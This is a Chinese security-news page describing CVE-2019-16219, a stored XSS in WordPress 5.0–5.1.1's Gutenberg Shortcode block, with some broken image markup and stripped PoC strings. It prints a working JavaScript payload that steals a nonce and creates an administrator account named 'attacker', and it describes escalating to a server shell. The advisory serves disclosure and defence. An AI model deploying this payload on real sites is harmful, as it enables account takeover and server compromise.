欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE-2019-16219: WordPress (Core)存储型XSS漏洞

来源:本站整理 作者:佚名 时间:2019-10-08 TAG: 我要投稿

WordPress是最主流的内容管理系统(CMS),占全球CMS市场份额的60.4%,远高于第二的Joomla!(5.2%)。因此,有超过1/3的网站使用WordPress。FortiGuard研究人员近期发现一个WordPress中的存储型XSS 0day漏洞。该0day漏洞是由于WordPress 5.0中新内置的Gutenberg引发的XSS漏洞。该编辑器没有超过过滤Shortcode错误消息中的JavaScript/HTML代码。因此,有Contributor或更高权限的远程攻击者就可以在访问被黑页面的受害者浏览器中执行任意JS/HTML代码。如果受害者有更高权限,比如administrator权限,攻击者甚至可以入侵整个web服务器
XSS漏洞CVE编号为 CVE-2019-16219,影响WordPress 5.0到5.0.4,5.1和5.1.1版本。
漏洞分析
在WordPress 5.0中,用户可以在文章中添加Shortcode块。在添加特定HTML编码的字符到Shortcode块,然后重新打开文章时,就显示错误信息,以
xss-vulnerability/_jcr_content/root/responsivegrid/image_1976545363.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
图1. 插入HTML编码的字符串到ShortCode块
xss-vulnerability/_jcr_content/root/responsivegrid/image_608806724.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
图2. 预览时的Shortcode错误消息
预览时的XSS过滤器可以很容易地过滤,比如POC">:
xss-vulnerability/_jcr_content/root/responsivegrid/image_2070918239.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
图3. 插入PoC代码到Shortcode块
受害者查看文章时,XSS代码就会在浏览器中执行。
xss-vulnerability/_jcr_content/root/responsivegrid/image_2074513967.img.png" border="0" onload="return imgzoom(this,550);" style="cursor:pointer;" onclick="javascript:window.open(this.src);"/>
图4. WordPress Shortcode Preview XSS
如果受害者有admin权限,攻击者就可以利用该漏洞来获取管理员账号的完全,使用WordPress内置功能来GetShell。然后控制服务器。
比如,攻击者可以在web服务器上保持JS文件,如wpaddadmin[.]jshttps://g0blin.co.uk/xss-and-wordpress-the-aftermath/ 。JS代码会用用户名attacker和密码attacker添加一个WordPress管理员账号。
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' valuevar ajaxRequest = new XMLHttpRequest();var requestURL = "/wordpress/wp-admin/user-new.php";var nonceRegex = /ser" value="([^"]*?)"/g;ajaxRequest.open("GET", requestURL, false);ajaxRequest.send();var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);var nonce = nonceMatch[1];// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administratorvar params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";ajaxRequest = new XMLHttpRequest();ajaxRequest.open("POST", requestURL, true);ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajaxRequest.send(params);
然后攻击者就可以用下面的POC来插入JS:
“">”
xss

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载